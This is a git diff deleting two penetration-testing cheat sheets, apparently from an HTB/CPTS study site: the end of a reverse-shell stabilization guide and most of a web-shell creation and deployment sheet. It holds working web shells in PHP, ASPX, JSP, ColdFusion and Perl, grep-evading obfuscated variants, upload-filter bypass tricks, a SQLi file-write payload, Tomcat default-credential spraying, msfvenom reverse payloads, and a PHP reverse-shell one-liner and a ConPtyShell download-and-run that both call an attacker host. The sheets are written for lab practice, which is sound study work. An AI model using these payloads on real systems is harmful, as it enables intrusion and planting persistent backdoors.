Leaving `rbash` may only remove command-language restrictions. It does not escape a chroot, namespace, container, mandatory-access-control policy or low-privilege account. - ---- - -## 9 · Windows shell quality and ConPTY - -Windows `cmd.exe` and PowerShell over a raw socket have the same class of problems: line editing, console applications and Ctrl+C may not behave normally. Windows Pseudo Console (ConPTY) provides a console host suitable for interactive character-mode applications on supported Windows versions. - -### Diagnose — CMD - -```batch -whoami -ver -echo %CMDCMDLINE% -where powershell.exe -where pwsh.exe -``` - -### Diagnose — PowerShell - -```powershell -whoami -$ExecutionContext.SessionState.LanguageMode -[Environment]::OSVersion.Version -[Environment]::Is64BitProcess -Get-CimInstance Win32_Process -Filter "ProcessId=$PID" | - Select-Object ProcessId, ParentProcessId, Name, ExecutablePath -``` - -`ConstrainedLanguage` permits cmdlets and basic language elements but restricts many .NET/COM operations. Treat that as an application-control signal; do not assume a failed script means networking is broken. - -### Prefer native management channels when credentials exist - -```bash -evil-winrm -i 10.10.10.10 -u user -p '<password>' -ssh user@10.10.10.10 -xfreerdp /v:10.10.10.10 /u:user /p:'<password>' -``` - -### ConPtyShell workflow - -Review and stage the script from its primary repository rather than executing an unreviewed remote one-liner. - -Attacker listener: - -```bash -stty raw -echo; (stty size; cat) | nc -lvnp 4444 -``` - -Target PowerShell: - -```powershell -Invoke-WebRequest http://10.10.14.2:8000/Invoke-ConPtyShell.ps1 ` - -OutFile $env:TEMP\Invoke-ConPtyShell.ps1 - -. $env:TEMP\Invoke-ConPtyShell.ps1 -Invoke-ConPtyShell 10.10.14.2 4444 -``` - -> [!note]+ ConPTY requirements -> ConPTY is available on modern Windows releases beginning with Windows 10 version 1809 / Server 2019-era builds. Script execution can still be affected by PowerShell language mode, application control, AMSI, proxy settings and endpoint protection. - -### Restore the local terminal - -```bash -stty sane -reset -``` - ---- - -## 10 · Troubleshooting matrix - -| Symptom | Cause | Fix | -|---|---|---| -| `stty: inappropriate ioctl for device` | Ran `stty` on a stream without a PTY, or on the wrong side | Spawn target PTY first; run local raw-mode command on the attacker terminal | -| Ctrl+C kills the whole connection | No controlling PTY or local terminal still processes signals | Complete PTY + raw-mode steps; test with `sleep` | -| Arrow keys print `^[[A` | No readline/PTY, or wrong `TERM` | Allocate PTY; set a supported TERM | -| Commands appear twice | Echo enabled on both sides | Ensure local `stty raw -echo` or socat `echo=0` | -| No prompt after `fg` | Prompt not redrawn or reset waiting for terminal name | Press Enter; run `reset`; enter `xterm` if asked | -| `vim`/`top` is garbled | Wrong geometry or missing terminfo | Set rows/cols; fall back from `xterm-256color` to `xterm`/`vt100` | -| `su`/`ssh` still will not prompt | PTY incomplete, PAM policy, wrong credential or account restriction | Verify `tty` first, then diagnose auth/policy separately | -| `script` has different option errors | BSD/util-linux syntax difference | Check `script --help`; BSD commonly accepts `script -q /dev/null /bin/bash` | -| Socat connects then exits | Quoting, missing shell, wrong architecture or listener mismatch | Use absolute shell path; test socat version; verify both endpoints | -| Local terminal is broken after disconnect | Local side remained raw/no-echo | Type `stty sane` then `reset` blindly, or use another terminal to repair the TTY | -| `tty` works but `jobs` does not | Shell is not interactive or lacks job control | Start `bash -i` inside the PTY; inspect process session/group | -| Windows script fails immediately | CLM, script policy, AMSI/EDR, architecture or unsupported build | Check language mode/build; prefer approved WinRM/SSH/RDP when available | - -### Emergency local recovery from another terminal - -Find the terminal device in the affected window: - -```bash -ps -t pts/3 -``` - -Repair it explicitly: - -```bash -stty sane -F /dev/pts/3 -``` - ---- - -## 11 · Operational safety and cleanup - -### Before changing the session - -- Record the current user, process tree, shell, `tty` result and local terminal geometry. -- Save the local `stty -g` state. -- Note every transferred binary/script and its SHA-256. -- Use a unique listener port within scope. - -### During the session - -- Avoid putting credentials in command-line arguments where process listings or shell history expose them. -- Do not use terminal experiments on long-running or stateful target processes. -- Treat automated shell managers as tools that may upload files or run enumeration automatically. - -### Cleanup - -```bash -# Target: remove only artifacts you staged. -rm -f /tmp/socat - -# Attacker: always restore terminal behavior. -stty sane -reset -``` - -On Windows: - -```powershell -Remove-Item $env:TEMP\Invoke-ConPtyShell.ps1 -ErrorAction SilentlyContinue -``` - -Do not clear target logs or history. Preserve the engagement record and report any security boundary you bypassed. - ---- - -## Quick reference - -| Situation | First choice | Follow-up | -|---|---|---| -| Linux raw reverse shell | Python `pty.spawn` | Ctrl+Z → local raw mode → reset/TERM/size | -| No Python | `script -qc /bin/bash /dev/null` | Same stty workflow | -| socat available | socat PTY listener + EXEC | Set TERM/geometry | -| Only netcat | `rlwrap nc` for comfort | Still allocate a target PTY | -| Valid SSH credential | `ssh -tt` | Avoid netcat stabilization | -| Meterpreter `shell` | Spawn PTY inside shell | Or upgrade session type | -| rbash/rksh | Inventory allowed commands | Interpreter/editor/pager/SSH escape | -| Windows modern build | Native WinRM/SSH/RDP first | Reviewed ConPTY tooling if required | -| Broken local terminal | `stty sane` | `reset` | - -## Lessons learned - -1. **A new shell is not a PTY.** Perl `exec` and `bash -i` can improve the prompt without fixing `tty`, job control or signals. -2. **PTY allocation and raw mode are separate.** You normally need both halves of the gold-path workflow. -3. **Save `stty -g` first.** It turns a broken local terminal into a one-command recovery. -4. **Geometry is functional, not cosmetic.** Wrong rows/columns corrupt editors, pagers and interactive tools. -5. **Restricted shell is policy.** Stabilize the terminal, then evaluate the restriction as its own security boundary. -6. **Prefer native channels.** If SSH, WinRM or RDP credentials are available, they are more reliable than repairing a raw socket. -7. **Clean up tools, not evidence.** Remove staged binaries/scripts; do not erase logs or history. - -## References - -1. [Python documentation — `pty`](https://docs.python.org/3/library/pty.html) -2. [util-linux `script(1)` manual](https://man7.org/linux/man-pages/man1/script.1.html) -3. [GNU Coreutils — `stty`](https://www.gnu.org/software/coreutils/manual/html_node/stty-invocation.html) -4. [OpenSSH `ssh(1)` — PTY allocation and escape characters](https://man.openbsd.org/ssh) -5. [GNU Bash — The Restricted Shell](https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html) -6. [Microsoft — Windows Pseudoconsoles](https://learn.microsoft.com/en-us/windows/console/pseudoconsoles) -7. [Microsoft PowerShell — Language Modes](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes) -8. [ConPtyShell primary repository](https://github.com/antonioCoco/ConPtyShell) -9. [pwncat-cs primary repository](https://github.com/calebstewart/pwncat) diff --git a/src/content/sheets/exploitation/web-shells.md b/src/content/sheets/exploitation/web-shells.md @@ -1,636 +0,0 @@ ---- -title: "Web Shells (CPTS)" -description: "Creating and deploying web shells across PHP, ASP/ASPX and JSP — upload paths, language one-liners and post-drop stabilization." -category: exploitation -tags: ["exploitation", "web", "file-inclusion"] -tools: ["Nmap", "WPScan", "Metasploit", "Meterpreter", "socat"] -difficulty: intermediate -updated: "2026-08-28" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/05 - Web Shells - CPTS Cheat Sheet.md" ---- -# Web Shells — Creating & Deploying - -## Summary - -A **web shell** is a script written in the server's own web language (PHP / ASP(X) / JSP / CFM / Perl / Python) that, once it lands in a web-served directory, hands you OS command execution through the browser. Two halves to the job: **create** the right shell for the stack, and **deploy** it — via an unrestricted upload, a filter you had to bypass, an LFI/SQLi write primitive, or a management interface. This card is a single-source reference for every flavour of web shell and every common way to get one onto disk and executing. - -> [!danger]+ HTB-Only Boundary -> -> 1. Every payload here is for **Hack The Box, HTB Academy, deliberately vulnerable labs, or systems you own and are explicitly authorised to test**. A dropped `.php`/`.aspx` on a real host is unauthorised access + a persistent backdoor. -> 2. A web shell on disk is a **forensic artifact** and often survives your session — clean it up (see #Operational safety, detection & cleanup). -> 3. **Never upload a real payload to public VirusTotal** — it burns the hash to every AV vendor. -> 4. Treat the web shell as a **stepping stone to a proper reverse shell**, never the end state — it's fragile, semi-interactive, and noisy. - ---- - -## Field workflow — identify, validate, operate, remove - -| Phase | Action | Evidence to retain | -|---|---|---| -| 1 · Fingerprint | Confirm server, framework, handler and accepted extensions | Headers, response body, version source | -| 2 · Probe | Use harmless arithmetic or a static marker before OS commands | Request/response pair and returned marker | -| 3 · Place | Record the client filename, server filename and resolved URL | Upload response, path, timestamp, SHA-256 | -| 4 · Validate | Run identity, working-directory and OS checks | Service identity, cwd, architecture, PATH | -| 5 · Operate | Prefer the smallest command needed to prove impact | Commands, UTC timestamps and outputs | -| 6 · Upgrade | Move to a reverse shell/TTY only when the task requires interaction | Listener details and new process context | -| 7 · Remove | Delete the shell and every companion artifact | Removal command and negative verification | - -```bash -# Reusable lab context -export BASE_URL="http://target.htb" -export SHELL_URL="$BASE_URL/uploads/audit.php" -export LHOST="10.10.14.2" -export LPORT="4444" -``` - -> [!tip]+ Start with a marker -> A static file or `7*7` interpreter probe separates “upload succeeded” from “the server executed my code.” Do not jump straight to a reverse shell when a harmless marker proves the handler and path. - ---- - -## Pick the right shell for the stack - -| Server / tech | Tell (how you spot it) | Shell format | Interpreter entry | -|---|---|---|---| -| **Apache/Nginx + PHP** | `X-Powered-By: PHP`, `.php` URLs, `phpinfo` | `.php .phtml .php5 .pht .phar` | `system()` / `shell_exec()` | -| **IIS + ASP.NET** | `Server: Microsoft-IIS`, `aspnet_client/` dir, `.aspx` | `.aspx` (or classic `.asp`) | `System.Diagnostics.Process` | -| **Apache Tomcat** | port 8080, `/manager`, `Coyote` banner | `.jsp` or deployable `.war` | `Runtime.getRuntime().exec()` | -| **JBoss / WildFly** | `/jmx-console`, `/web-console` | `.war` | jsp inside the war | -| **Adobe ColdFusion** | `.cfm`, port 8500, `CFIDE/` | `.cfm` | `<cfexecute>` | -| **Apache + mod_perl/CGI** | `/cgi-bin/`, `.pl`/`.cgi` | `.pl .cgi` | backticks `` `$cmd` `` | -| **Python (Flask/Django/CGI)** | `Werkzeug`, `gunicorn` banner | depends on framework | `os.system()` (rarely a drop-in file) | - -> [!tip]+ Match the format to what the target will *execute*, not to the file you have -> -> Uploading `shell.php` to an IIS/ASP.NET box gets you a downloadable text file, not execution. Confirm the stack first (banner, extensions, `whatweb`/`nmap -sV`), then pick the language. When unsure, drop a probe file (`test.php` containing `<?php echo 7*7; ?>`) and check whether it renders `49` or the source. - -```mermaid -%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% -flowchart LR - A["Fingerprint stack\n(banner / ext / whatweb)"] --> B["Craft shell in\nserver's language"] - B --> C{"Delivery vector?"} - C -->|"file upload"| D["Upload\n(bypass filter if any)"] - C -->|"LFI / log / SQLi"| E["Write to webroot\nor poison + include"] - C -->|"mgmt iface"| F["Tomcat/JBoss WAR,\nWebDAV PUT, CMS editor"] - D --> G["Browse to path"] - E --> G - F --> G - G --> H["Run cmds → upgrade\nto reverse shell (revx/wshx)"] -``` - ---- - -## 0 · Validate execution context - -A successful request is only the beginning. Establish the process identity and constraints before choosing a payload or writing more files. - -### Linux-hosted application - -```bash -id -pwd -uname -a -printf 'PATH=%s\n' "$PATH" -command -v bash sh python3 python perl php curl wget nc socat -env | sort -``` - -### Windows-hosted application — CMD - -```batch -whoami /all -cd -ver -set -where cmd.exe -where powershell.exe -where pwsh.exe -``` - -### Windows-hosted application — PowerShell - -```powershell -$ExecutionContext.SessionState.LanguageMode -[Environment]::Is64BitProcess -Get-Location -Get-ChildItem Env: | Sort-Object Name -Get-Command cmd.exe, powershell.exe, pwsh.exe -ErrorAction SilentlyContinue -``` - -> [!note]+ Interpret the result -> Web commands run as the application-pool or service identity, inherit its environment, and usually start as a fresh process for every HTTP request. A successful `cd` does not normally persist to the next request. Use absolute paths or a stateful client, then upgrade when you need job control or interactive prompts. - -### Exercise GET and POST safely - -```bash -# GET parameter — URL-encode the complete command -curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=id" - -# POST parameter — useful when the shell expects form data -curl -fsS -X POST "$SHELL_URL" --data-urlencode "c=whoami" - -# Preserve a response for the engagement record -curl -fsS -G "$SHELL_URL" --data-urlencode "cmd=pwd" -D headers.txt -o response.txt -``` - -> [!tip]+ Let curl perform the encoding -> Use `--data-urlencode` for spaces, `&`, pipes, redirects and other shell metacharacters. Hand-building `?cmd=id && hostname` changes the HTTP query at `&`; it does not reliably send the complete command as one parameter. - ---- - -## Map the request to the executing file - -“Uploaded successfully” does not prove that the file is reachable or executable. Record each layer separately so a `404`, source-code download or blank response has an obvious place to investigate. - -| Layer | Example | Question to answer | -|---|---|---| -| Virtual host | `app.target.htb` | Which `Host` header reaches the application? | -| Public URL | `/media/2026/08/audit.php` | What URL did the application return or render? | -| Physical path | `/var/www/app/public/media/...` | Where did the server actually store the file? | -| Handler | PHP-FPM, ASP.NET, JSP/Tomcat, ColdFusion | Will this extension be interpreted or served as data? | -| Process identity | `www-data`, `apache`, `IIS APPPOOL\Site` | Which permissions and environment apply? | -| Request state | Cookie, CSRF token, multipart field name | What must be replayed to reach or trigger it? | - -### Prove the handler before proving command execution - -Use a unique static marker first. If interpreter execution is required, use harmless arithmetic and remove the probe after validation. - -```php -<?php echo 7 * 7; ?> -``` - -```aspx -<%@ Page Language="C#" %><%= 7 * 7 %> -``` - -```jsp -<%= 7 * 7 %> -``` - -```cfm -<cfoutput>#7 * 7#</cfoutput> -``` - -Rendered `49` proves the handler ran. Seeing source code proves it did not. A `404` says nothing about the handler until the URL/vhost and server-side name are confirmed. - -### Preserve the exact authenticated request - -Start from Burp's **Copy as curl** output when the upload uses authentication or CSRF protection. Keep the vhost, cookies, token, multipart field name and filename; simplify only after a successful replay. - -```bash -export TARGET_IP='10.10.10.10' -export TARGET_HOST='app.target.htb' - -# Maintain the application session and force the intended vhost to the target IP. -curl -ksS -c webshell.cookies -b webshell.cookies \ - --resolve "$TARGET_HOST:443:$TARGET_IP" \ - "https://$TARGET_HOST/upload" - -# Representative multipart replay—use the real field and CSRF names from the app. -curl -ksS -c webshell.cookies -b webshell.cookies \ - --resolve "$TARGET_HOST:443:$TARGET_IP" \ - -H 'X-CSRF-Token: REPLACE_FROM_SESSION' \ - -F 'file=@probe.php;type=image/gif' \ - -D upload.headers -o upload.body \ - "https://$TARGET_HOST/upload" -``` - -Inspect the status, redirects and response body for a generated filename, UUID, JSON path or rendered media URL: - -```bash -sed -n '1,40p' upload.headers -sed -n '1,160p' upload.body -rg -io '(/[^" ]+\.(php|aspx|jsp|cfm))|([0-9a-f]{8}-[0-9a-f-]{27,})' upload.body -``` - -### Resolve the physical webroot from execution context - -Linux-hosted web service: - -```bash -pwd -printf 'DOCUMENT_ROOT=%s\n' "${DOCUMENT_ROOT:-unset}" -printf 'SCRIPT_FILENAME=%s\n' "${SCRIPT_FILENAME:-unset}" -ps -o user,pid,ppid,comm,args -p $$ -p $PPID - -apachectl -S 2>/dev/null -nginx -T 2>&1 | sed -n '1,200p' -``` - -Windows IIS — CMD: - -```batch -cd -echo %APPL_PHYSICAL_PATH% -%windir%\system32\inetsrv\appcmd.exe list site -%windir%\system32\inetsrv\appcmd.exe list vdir /text:physicalPath -``` - -Windows IIS — PowerShell: - -```powershell -Get-Location -$env:APPL_PHYSICAL_PATH - -Import-Module WebAdministration -Get-Website | Select-Object Name, State, PhysicalPath, Bindings -Get-WebVirtualDirectory | Select-Object Site, Path, PhysicalPath -``` - -These commands depend on the service account's read permissions and installed administration tools. Treat an empty variable or access error as “not available from this context,” not as proof that no webroot exists. - -### Know which shell parses the command - -| Runtime call | Shell metacharacters such as `&&`, `|`, `>`? | Reliable form | -|---|---:|---| -| PHP `system()` / ASPX `cmd.exe /c` | Yes | Send the complete command with URL encoding | -| Java `Runtime.exec(String)` | No implicit shell | Explicitly call `/bin/sh -c` or `cmd.exe /c` | -| PowerShell invocation | PowerShell syntax | Do not paste CMD-only quoting unchanged | - -Capture stderr when a command appears blank: - -```bash -curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=id 2>&1' -curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=pwd; printf "exit=%s\n" "$?"' -``` - ---- - -## A · PHP web shells - -### Minimal one-liners - -```php -<?php system($_GET['cmd']); ?> // classic GET -<?php echo shell_exec($_GET['cmd']); ?> // shell_exec returns full output as string -<?php passthru($_REQUEST['cmd']); ?> // $_REQUEST = GET or POST or cookie -<?php if(isset($_POST['c'])) system($_POST['c']); ?> // POST-only (stays out of access logs' query string) -``` - -> [!info]+ Which exec function? -> `system()` prints output + returns last line · `shell_exec()`/backticks return the **whole** output as a string (needs `echo`) · `passthru()` streams raw bytes (good for binary) · `exec()` returns only the **last** line unless you pass `$output`. If one is disabled via `disable_functions`, try the others: `proc_open`, `popen`, `pcntl_exec`. Check with a probe: `<?php var_dump(ini_get('disable_functions')); ?>`. - -### Compact keyed examples (lab-only) - -```php -<?php @eval($_POST['pass']); ?> // China Chopper server side (client sends PHP) -<?php @system($_REQUEST['0xdeadbeef']); ?> // non-default parameter name -<?php @eval(base64_decode($_POST['x'])); ?> // base64-wrapped payload in body -<?php $f='sys'.'tem'; @$f($_GET['c']); ?> // split string dodges naive grep for "system(" -``` - -> [!tip]+ Blend with an image to survive `.jpg` uploads + LFI -> ```bash -> exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg # payload rides in EXIF -> mv cat.jpg cat.php.jpg # or serve as .php via .htaccess / include via LFI -> ``` -> The file is a valid image (passes magic-byte checks) but contains live PHP once interpreted. - -### Prebuilt PHP shells - -```bash -# Laudanum — pre-installed on Kali/Parrot, edit allowedIps first -cp /usr/share/laudanum/php/php-reverse-shell.php ./shell.php # reverse -cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php # pentestmonkey classic (edit $ip/$port) - -# WhiteWinterWolf wwwolf — robust cmd shell, works when system() is filtered -# https://github.com/WhiteWinterWolf/wwwolf-php-webshell - -# p0wny-shell — single-file, pretty prompt UI (https://github.com/flozz/p0wny-shell) -# b374k / c99 / r57 — full-featured but HEAVILY signatured; lab-only, expect AV hits -``` - -### weevely — stealth, obfuscated, encrypted PHP agent + client - -```bash -weevely generate <password> agent.php # generates an obfuscated agent -# upload agent.php, then connect: -weevely http://$IP/uploads/agent.php <password> -# gives a real terminal, modules for file ops, privesc enum, pivot, SQL, etc. -``` - -### msfvenom PHP payloads - -```bash -msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php -# msfvenom often omits the opening tag — prepend it if the app doesn't wrap: -(echo '<?php ' ; cat shell.php) > s.php && mv s.php shell.php -# meterpreter over PHP (richer post-ex): -msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o met.php # catch with multi/handler -``` - ---- - -## B · ASP / ASPX web shells (IIS) - -### ASPX command shell (drop-in, C#) - -```aspx -<%@ Page Language="C#" %> -<%@ Import Namespace="System.Diagnostics" %> -<%@ Import Namespace="System.IO" %> -<script runat="server"> -protected void Page_Load(object sender, EventArgs e){ - ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]); - psi.RedirectStandardOutput = true; - psi.RedirectStandardError = true; - psi.UseShellExecute = false; - Process p = Process.Start(psi); - string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); - p.WaitForExit(); - Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>"); -} -</script> -``` -Browse: `http://$IP/shell.aspx?cmd=whoami` - -### Classic ASP (older IIS, VBScript) - -```asp -<% Set o = Server.CreateObject("WScript.Shell") - Set e = o.Exec("cmd /c " & Request.QueryString("cmd")) - Response.Write("<pre>" & e.StdOut.ReadAll() & "</pre>") %> -``` - -### Antak — PowerShell-driven ASPX web shell (Nishang) - -```bash -cp /usr/share/nishang/Antak-WebShell/antak.aspx ./Upload.aspx -# edit line ~14: set $Username / $Password before uploading -``` -Runs each command as a new process, can execute scripts **in memory**, and encodes traffic — the strongest option when the target is Windows + PowerShell. Browse to the file, authenticate, issue PowerShell. - -### Laudanum ASPX + msfvenom - -```bash -cp /usr/share/laudanum/aspx/shell.aspx ./demo.aspx # edit allowedIps (~line 59), strip ASCII art -msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx -``` - -> [!info]+ IIS extension quirks worth knowing -> Handler mappings vary by IIS and ASP.NET version. Alternate extensions such as `.ashx`, `.asmx` or classic `.asp` execute only when the corresponding handler is enabled; trailing-dot/ADS behavior is legacy and configuration-dependent. Validate with a harmless marker. The `aspnet_client` directory is a useful ASP.NET clue, not proof that every extension executes. - ---- - -## C · JSP / WAR web shells (Tomcat / JBoss) - -### Raw JSP command shell - -```jsp -<%@ page import="java.util.*,java.io.*" %> -<% - String cmd = request.getParameter("cmd"); - if (cmd != null) { - boolean windows = System.getProperty("os.name").toLowerCase().contains("win"); - String[] command = windows - ? new String[] {"cmd.exe", "/c", cmd} - : new String[] {"/bin/sh", "-c", cmd}; - Process p = new ProcessBuilder(command).redirectErrorStream(true).start(); - BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); - String l; out.println("<pre>"); - while ((l = r.readLine()) != null) out.println(l); - out.println("</pre>"); - } -%> -``` -Drop as `cmd.jsp` in a webroot → `http://$IP:8080/cmd.jsp?cmd=id`. Prebuilt copy: `/usr/share/webshells/jsp/cmd.jsp`. The explicit `/bin/sh -c` / `cmd.exe /c` wrapper is what makes pipes, redirects and command chaining work; `Runtime.exec(String)` alone does not invoke a command shell. - -### Build a WAR by hand - -```bash -mkdir webshell && cp /usr/share/webshells/jsp/cmd.jsp webshell/ -cd webshell && jar -cvf ../webshell.war * # -> webshell.war (deployed at /webshell/cmd.jsp) -``` - -### msfvenom WAR / JSP - -```bash -msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war -msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp -unzip -l shell.war # note the random-named .jsp inside — that's the trigger path -``` - -### Deploy to Tomcat Manager (creds required) - -```bash -# text API deploy -curl -u tomcat:s3cret -T shell.war "http://$IP:8080/manager/text/deploy?path=/shell" -curl "http://$IP:8080/shell/" # trigger reverse shell / browse cmd.jsp -# Metasploit alternative: exploit/multi/http/tomcat_mgr_upload (set HttpUsername/HttpPassword) -``` - -> [!tip]+ No creds? Spray the Tomcat defaults -> `tomcat:tomcat`, `admin:admin`, `tomcat:s3cret`, `admin:<blank>`, `role1:role1`. Manager lives at `/manager/html` (GUI) or `/manager/text` (API). JBoss equivalent: deploy the WAR via `/jmx-console` → `jboss.system:service=MainDeployer`. - ---- - -## D · Other stacks (brief) - -```cfm -<!-- ColdFusion .cfm --> -<cfoutput><pre><cfexecute name="C:\Windows\System32\cmd.exe" - arguments="/c #URL.cmd#" timeout="20" variable="out"></cfexecute>#out#</pre></cfoutput> -``` - -```perl -#!/usr/bin/perl -# Perl CGI — drop in /cgi-bin/, chmod +x -use CGI; my $q = CGI->new; print $q->header('text/plain'); print `$ENV{'QUERY_STRING'}`; -``` - -Python drop-in files are rare (frameworks don't execute arbitrary `.py` from the webroot); when you have Python **code injection** instead, use `os.system()`/`subprocess` inline rather than a file. Prebuilt collections: **PayloadsAllTheThings/Upload Insecure Files**, **tennc/webshell**, and SecLists `Web-Shells/`. - ---- - -## E · Where the prebuilt shells live - -| Source | Path / URL | Languages | -|---|---|---| -| **Laudanum** | `/usr/share/laudanum/` | asp, aspx, jsp, php, cfm, perl | -| **Kali webshells** | `/usr/share/webshells/{php,asp,aspx,jsp,perl,cfm}/` | all | -| **Nishang / Antak** | `/usr/share/nishang/Antak-WebShell/` | aspx (PowerShell) | -| **weevely** | `weevely generate` | php (stealth) | -| **SecLists** | `/usr/share/seclists/Web-Shells/` | all | -| **PayloadsAllTheThings** | github `swisskyrepo/PayloadsAllTheThings` | all + upload bypasses | -| **tennc/webshell** | github `tennc/webshell` | huge archive | - ---- - -## F · Deploying it — delivery vectors - -### 1. Unrestricted file upload (best case) - -Upload via the app's own upload feature (avatar, document, logo, import), then browse to the returned path. Find where it landed: common webroots below. - -```text -Linux : /var/www/html /var/www /srv/http (Arch) /usr/share/nginx/html /opt/<app> -Windows: C:\inetpub\wwwroot Tomcat: <install>/webapps/<app>/ -Uploads often under: /uploads /images /files /media /avatars /tmp -``` - -### 2. Upload filter bypass matrix - -> [!info]+ Bypass by what the filter checks -> Work out **what** is being validated (extension? `Content-Type` header? magic bytes? real image content?) and defeat that one thing while keeping the file executable. See Command Injection - Filter Bypass Cheat Sheet for the injection-side companion. - -| Filter | Bypass | -|---|---| -| **Blacklisted `.php`** | `.php3 .php4 .php5 .php7 .pht .phtml .phar .inc` · ASP: `.asp .asa .cer .aspx` · JSP: `.jspx .jsw .jsv .war` | -| **Case-sensitive blacklist** | `shell.pHp`, `shell.AsP`, `SHELL.PHP5` | -| **Extension check on last dot** | double ext `shell.php.jpg` / `shell.jpg.php` (depends which the server honours) | -| **Trailing chars stripped by OS** | `shell.php.` · `shell.php%20` · `shell.php%00.jpg` (null byte, PHP < 5.3.4) · `shell.aspx::$DATA` (IIS ADS) | -| **`Content-Type` (MIME) check** | intercept in Burp, change `Content-Type: application/x-php` → `image/gif` (leave PHP body intact) | -| **Magic-byte / "is it an image" check** | prepend `GIF89a;` or JPEG magic `\xFF\xD8\xFF` to the file before the `<?php` | -| **Real image required** | `exiftool -Comment='<?php system($_GET[cmd]);?>' img.jpg` → polyglot image + code | -| **Server maps ext via config** | upload a `.htaccess`: `AddType application/x-httpd-php .jpg` then upload `shell.jpg` | -| **Client-side JS validation only** | strip it — intercept the POST in Burp Repeater and send the raw multipart | - -```http -# Burp: the two lines you flip on a MIME-only check -Content-Disposition: form-data; name="file"; filename="shell.php" -Content-Type: image/gif <-- was application/x-php -``` - -```apache -# .htaccess trick (Apache) — upload this, then any .shell file runs as PHP -AddType application/x-httpd-php .shell -``` - -### 3. LFI / log poisoning / wrappers → execution - -When you can't upload but **can include** a file (LFI), plant code where the app will read it: poison the User-Agent in the Apache access log then include `/var/log/apache2/access.log`, use `php://input`/`data://`/`php://filter` wrappers, or `/proc/self/environ`. Full technique set lives in the LFI/RFI notes — from here it's the same PHP payloads above, just delivered through the include. - -### 4. SQLi write primitive → `INTO OUTFILE` - -```sql -' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/s.php'-- - -``` -Needs `FILE` privilege, `secure_file_priv` unset, and a writable, known webroot path. Then browse `s.php?cmd=id`. - -### 5. Management interfaces & protocols - -```bash -# Tomcat / JBoss WAR — see section C -# WebDAV PUT (if PUT is allowed) -curl -X PUT http://$IP/shell.php --data-binary @shell.php -davtest -url http://$IP -uploadfile shell.php # tests which extensions are executable -cadaver http://$IP/ # interactive WebDAV -# anonymous FTP mapped to the webroot (module's chain): drop into /uploads, browse over HTTP -ftp $IP # anonymous / <blank> → put shell.aspx → http://$IP/uploads/shell.aspx -``` - -### 6. CMS / app-specific - -- **WordPress** → Appearance → Theme/Plugin Editor, edit `404.php` to your PHP shell; or upload a malicious plugin zip. (`wpscan`, or msf `wp_admin_shell_upload`.) -- **rConfig** → Devices → Vendors → Add Vendor "logo" field; upload `.php` and swap `Content-Type` to `image/gif` in Burp → `/images/vendor/<file>.php`. -- **Joomla / Drupal** → template editor, or a media-manager upload + `.htaccess`. - ---- - -## G · Interact & upgrade - -```bash -# raw browser / curl -curl "http://$IP/uploads/shell.php?cmd=id" -curl -G "http://$IP/uploads/shell.php" --data-urlencode "cmd=cat /etc/passwd" -curl -X POST "http://$IP/shell.php" --data-urlencode "c=whoami" # POST-based shell - -# wshx — turns a dumb ?cmd= shell into a stateful prompt (session cwd, upload/download, auth, WAF bypass) -wshx -u "http://$IP/uploads/shell.php?cmd=CMD" # interactive -wshx -u "http://$IP/shell.php" -X POST --data 'c=CMD' --param c # POST variant -wshx -u "...cmd=CMD" -b 'PHPSESSID=..' --start '<pre>' --end '</pre>' # authed + trim wrapper -wshx -u "...cmd=CMD" --proxy http://127.0.0.1:8080 --double-encode # through Burp, WAF bypass - -# UPGRADE to a real reverse shell (do this early — web shells are fragile) -wshx -u "...cmd=CMD" --revshell $LHOST 443 # one-shot upgrade (pair with a listener) -revx $LHOST 443 -t bash --encode # or generate a payload to paste manually -# php one-liner a dropped .php pivots to: -php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");' -``` - -> [!warning]+ Web shell interactivity is limited -> Chained commands (`whoami && hostname`), interactive prompts, `cd` persistence, and `sudo` password entry frequently **don't work** through a bare web shell — each request is a fresh process. `wshx` fakes a persistent cwd; for anything real, upgrade to a reverse shell and stabilise (`python3 -c 'import pty;pty.spawn("/bin/bash")'`). See 3 - Reverse Shells. - ---- - -## H · Troubleshooting matrix - -| Symptom | Likely cause | Next checks | -|---|---|---| -| File downloads or source is displayed | Wrong language/extension or no handler mapping | Re-fingerprint the stack; use a harmless interpreter probe | -| `404 Not Found` after upload | Server renamed the file, different vhost, virtual path or storage outside webroot | Inspect upload response, redirects, HTML source and predictable media paths | -| `403 Forbidden` | Execute permission, request filtering, application authorization or web-server deny rule | Compare static-file access; inspect method, extension and authenticated session | -| Blank `200` response | Function disabled, stderr lost, exception hidden or no command parameter | Use a static marker; capture headers/body; test `pwd`/`cd`; check server error behavior | -| Command runs but output is truncated | Timeout, buffering or binary output | Use `passthru`, redirect stderr, write a small lab artifact, or switch to a reverse shell | -| Linux command works, callback does not | Listener/interface error, egress filtering, DNS failure or missing interpreter | Verify `$LHOST`, route, listening socket and outbound TCP/DNS with a harmless connection test | -| Windows command works, PowerShell payload fails | CLM, AMSI/application control, quoting, architecture or proxy/TLS issue | Check language mode, available binaries, system proxy and event/error output | -| `cd`/environment change disappears | Each request creates a new process | Use absolute paths, send `cd /path && command`, or use a stateful client | -| 